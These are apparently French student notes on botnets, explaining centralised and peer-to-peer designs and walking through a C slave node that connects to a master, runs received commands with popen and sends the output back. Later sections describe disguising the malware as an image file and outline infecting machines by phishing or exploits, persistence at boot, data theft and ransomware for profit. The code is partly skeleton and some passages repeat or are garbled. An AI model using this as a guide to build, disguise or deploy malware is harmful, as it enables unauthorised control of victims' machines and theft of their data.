1.C’est quoi un botnet?

( partie 1 : what is a botnet )

D'après ce qui a été dit, le botnet est un réseau de machines capables de recevoir des commandes à
distance ( qui sont des requêtes : Scripts ) et de les exécuter localement, avec la possibilité de relayer
des informations entre elles.

# Ce type de réseau est souvent utilisé dans des attaques ( Menaces ) telles que les attaques par déni de
service distribué (DDoS) ou pour diffuser des logiciels espions à grande échelle.

#Exemples de Botnet : Mirai et Gameover Zeus , qui ont contrôlé par un nombre enorme d'appareils IoT.

Il y’a deux architectures possibles : centralisé ou peer to peer

#Architecture d’un botnet centralisé :

#Les botnets C&C, avec un nœud maître contrôlant des nœuds esclaves, sont dépassés car ils peuvent
être neutralisés en coupant l'accès au maître. Les botnets modernes utilisent une architecture peer-to-
peer, sans point central de contrôle, ce qui les rend plus difficiles à démanteler.

1
Les intervenants : Botnet Master : le pirate / Cible : Esclave / Victime

#Le botnet master, également appelé commandant ou contrôleur, est l'entité qui contrôle l'ensemble
du réseau. Il construit son popre reseau d’ordinateurs

#Esclaves/Victimes (les cibles) : Les machines compromises, appelées bots ou zombies, sont les
appareils des victimes qui ont été infectés par le malware du botnet.

Les cibles sont dedies a attaquer les victimes ; ils envoient un nombre enormes de requetes en
meme temps

#Architecture d’un botnet peer to peer :

L'architecture peer-to-peer (P2P) permet à chaque nœud d'un réseau de communiquer

directement avec les autres sans passer par un serveur central, rendant le système décentralisé.

chaque participant (ou "pair") peut agir à la fois comme client et serveur, facilitant le partage
de ressources et d'informations.

2
2.Implementation
2.1 Master :

# Le "master" dans ce contexte est un serveur TCP utilisant Netcat, un outil open-source couramment
utilisé pour envoyer et recevoir des paquets texte.

Il construit son popre reseau d’ordinateurs

2.2 Slave :

# Le "slave" consiste à recevoir et exécuter des commandes à distance. L'objectif est de rendre ce
nœud esclave aussi simple que possible, tout en respectant les exigences définies.

il envoie un nombre enormes de requetes en meme temps

1 ) Initialisation :

Ce passage explique l'initialisation d'un nœud esclave dans un botnet. Tout d'abord, il suggère de nommer
le client pour que le maître puisse reconnaître les nœuds esclave. L'auteur recommande d'utiliser le nom
d'utilisateur de l'ordinateur plutôt que l'adresse IP pour plus de lisibilité. Ensuite, le texte explique comment
l'esclave doit se connecter au maître en utilisant l'adresse IP et le port spécifié. Dans ce cas, l'adresse locale
"127.0.0.1" est utilisée pour des tests locaux, avec un port défini à 9999.

# Le processus de communication entre le serveur (maître) et le client (esclave) se fait via une
socket, une sorte de canal de communication entre deux machines.

Fonctions pour etablir le processus de communication entre le maitre et les cibles:

# init_socket() est responsable de l'initialisation de cette communication

Dans la partie lib/connect.c , l'auteur explique comment implémenter la fonction init_channel().

# sockaddr_in est pour stocker l'adresse IP et le port du maître

# inet_addr() et htons() : convertissent ces informations en format réseau

# socket() : pour creer la socket

# connect() : pour etblir la connexion

3
char* name = //Get the client's username and store it in name

int channel = //initiate a channel given SERVER, PORT, and name;

//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer msg

printf("%s joining the botnet\n", name); affiche un msg deconfirmation que l’initialisation du nœud
s’est deroulee normalement

Comentaires pour ce code :

char* name = //Get the client's username and store it in name
: récupérer le nom d'utilisateur de l'ordinateur sur lequel le code est exécuté. Cela permet au serveur
maître d'identifier le nœud esclave de manière plus conviviale, au lieu d'utiliser l'adresse IP.

int channel = //initiate a channel given SERVER, PORT, and name : crée un canal de
communication (socket) entre le client (nœud esclave) et le serveur maître.

//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer
msg : alloue de l'espace mémoire pour stocker des messages qui seront échangés entre le maître
et l'esclave

But global du code : préparer un nœud esclave à rejoindre un réseau de botnet en établissant
une connexion avec le serveur maître. Une fois connecté, l'esclave pourra recevoir et exécuter
des commandes envoyées par le maître.

int init_channel (char *ip, int port, char *name) {

char msg[CMD_LENGTH];

struct sockaddr_in server;

server.sin_addr.s_addr = //convert the ip to network byte order

server.sin_family = //set the server's communications domain

server.sin_port = //convert port to network byte order

int channel = //define a SOCK_STREAM socket

if(channel < 0) {

perror ("socket:");

exit(1); }

int connection_status = //use the defined channel to connect the slave to the master server

if (connection_status < 0) {

perror ("connect:");

4
 exit(1); }

//send a greeting message back to master by loading a string into msg (hint: snprintf will come
in handy)

respond (channel, msg);

return channel;}

Commentaires de ce code :

# sockaddr_in est déclarée pour contenir les informations relatives à la connexion réseau.

# inet_addr() et htons() qui convertit une adresse IP et le port en binaire pour que les systemes
reseau puissent la comprendre
# server.sin_family = //set the server's communications domain
Cette ligne doit définir le domaine de communication utilisé par la socket.
# int channel = //define a SOCK_STREAM socket
Ici, une socket de type SOCK_STREAM (flux TCP) est créée. Une socket de type SOCK_STREAM assure une
communication fiable via un canal bidirectionnel, utilisé pour des connexions TCP.

# if(channel < 0) { perror ("socket:"); exit(1); } : condition si la creation de la socjket a echouee

si connexion en utilisant la socket est etablie : connect() est appele pour etablir et
realiser la connexion

# respond(channel, msg);cette ligne envoie un message de salutation au serveur maître via la

fonction respond()
# return channel; cette ligne retourne la socket (ou canal) créée

But global du code : Le but de cette fonction est de configurer et d'établir une connexion réseau entre
un nœud esclave et un serveur maître dans un botnet. Une fois la connexion établie, l'esclave est prêt
à recevoir des commandes et à échanger des données avec le maître via le canal de communication
(socket).

2) Entendre les messages :

#Boucle infinie dans le fichier bot.c : Cette boucle permettra à l'esclave d'écouter constamment les
messages envoyés par le maître et d'agir en consequence

# recieve() : Cette fonction récupère les messages envoyés par le maître.

#parse() : Cette fonction analyse les messages reçus et exécute la commande correspondante.

5
#Implémentation de la fonction respond() dans utils.c : La fonction respond() sert à envoyer
des messages au maître en écrivant dans la socket.

#Implémentation de la fonction recieve() dans utils.c : La fonction recieve() est

responsable de lire les messages provenant du maître et de les stocker dans un buffer.

But global du code :

Boucle infinie : Elle permet à l'esclave d'écouter en permanence les messages du maître.

#recieve() : Cette fonction permet de récupérer les messages envoyés par le maître via la socket.
#respond() : Elle permet à l'esclave d'envoyer des réponses ou des messages au maître en écrivant
dans la socket.

3) L’execution des commandes :

#La fonction parse() est chargée de vérifier le message reçu, de le formater correctement et de
passer la commande à la fonction execute().

#int execute(int s, char *cmd) { FILE *f = popen(cmd, "r"); : Exécuter la commande et ouvrir un
pipe pour lire la sortie

# Lire chaque ligne de la sortie while (fgets(line, sizeof(line), f) != NULL) { respond(s, line); Envoyer
chaque ligne de sortie au maître via la socket }

#parse() :Vérifie si le message est destiné à ce client en comparant le nom de l'esclave et si le format
de message est correct puis passe la commabnde a execute()

#execute() :Utilise popen() pour exécuter la commande dans le terminal et lit la sortie ligne par ligne
et l'envoie au maître via la socket en utilisant respond().Puis ferme le pipe après avoir terminé
l'exécution de la commande.

#Pour compiler le botnet on utilise la commnde suivante dans le terminal :

gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave puis on execute bin/master et bin/slave et
comme ca on a pu créer un botnet

4) Déguiser votre malware :

Le déguisement du malware est une technique fascinante qui permet de masquer des
logiciels malveillants sous des apparences innocentes, comme des images .

Étapes pour déguiser le malware :

6
1 .Inclure la fonction pour ouvrir l'image

2. Modifier l'icône de l'exécutable

char* open_cmd = alias_img(); // Récupérer la commande pour ouvrir l'image

system(open_cmd); // Exécuter la commande pour ouvrir l'image

free(open_cmd); // Libérer la mémoire allouée pour la commande

3. Changer l'extension de fichier

5) extensions

Planification et Conception :

• Définir l'objectif du botnet (ex. : DDoS, vol de données, exploitation des ressources).
• Choisir l'architecture (centralisée avec un maître et des esclaves, ou décentralisée en
peer-to-peer).

Développement du Logiciel Malveillant :

• Créer le Malware :
o Développer le code qui sera exécuté sur les machines compromises (esclaves).
o Inclure des fonctionnalités comme la connexion au maître, la réception de
commandes et l'exécution de celles-ci.

Implémenter les Composants de Communication :

• Établir une méthode de communication entre le maître et les esclaves (ex. : sockets TCP).
• Développer des fonctions pour envoyer et recevoir des messages.

Disguiser le Malware :

• Utiliser des techniques pour masquer le malware, par exemple en le déguisant en

fichier image.
• Renommer l'exécutable pour qu'il ait une apparence légitime.

Configuration du Nœud Maître :

• Créer le Serveur Maître :

7
 o Développer le serveur qui contrôlera les esclaves.
o Configurer le serveur pour écouter les connexions entrantes des esclaves.

Déploiement des Nœuds Esclaves :

• Installer le Malware sur les Cibles :

o Utiliser des techniques d'infection pour compromettre des machines (ex.
: phishing, exploitation de vulnérabilités).
o Assurer que le malware s'exécute automatiquement à chaque démarrage de
la machine.

Gestion et Contrôle :

• Établir des Commandes de Contrôle :

o Développer des commandes que le maître peut envoyer aux esclaves (ex. :
exécuter des scripts, voler des informations).
o Implémenter des mécanismes pour recevoir des rapports d'état des esclaves.

Exploitation :

• Lancer les Attaques :

o Exécuter les attaques ou collecter des données comme prévu à l'origine.
o Utiliser les ressources du botnet pour générer des bénéfices (ex. : ventes
de données, ransomwares).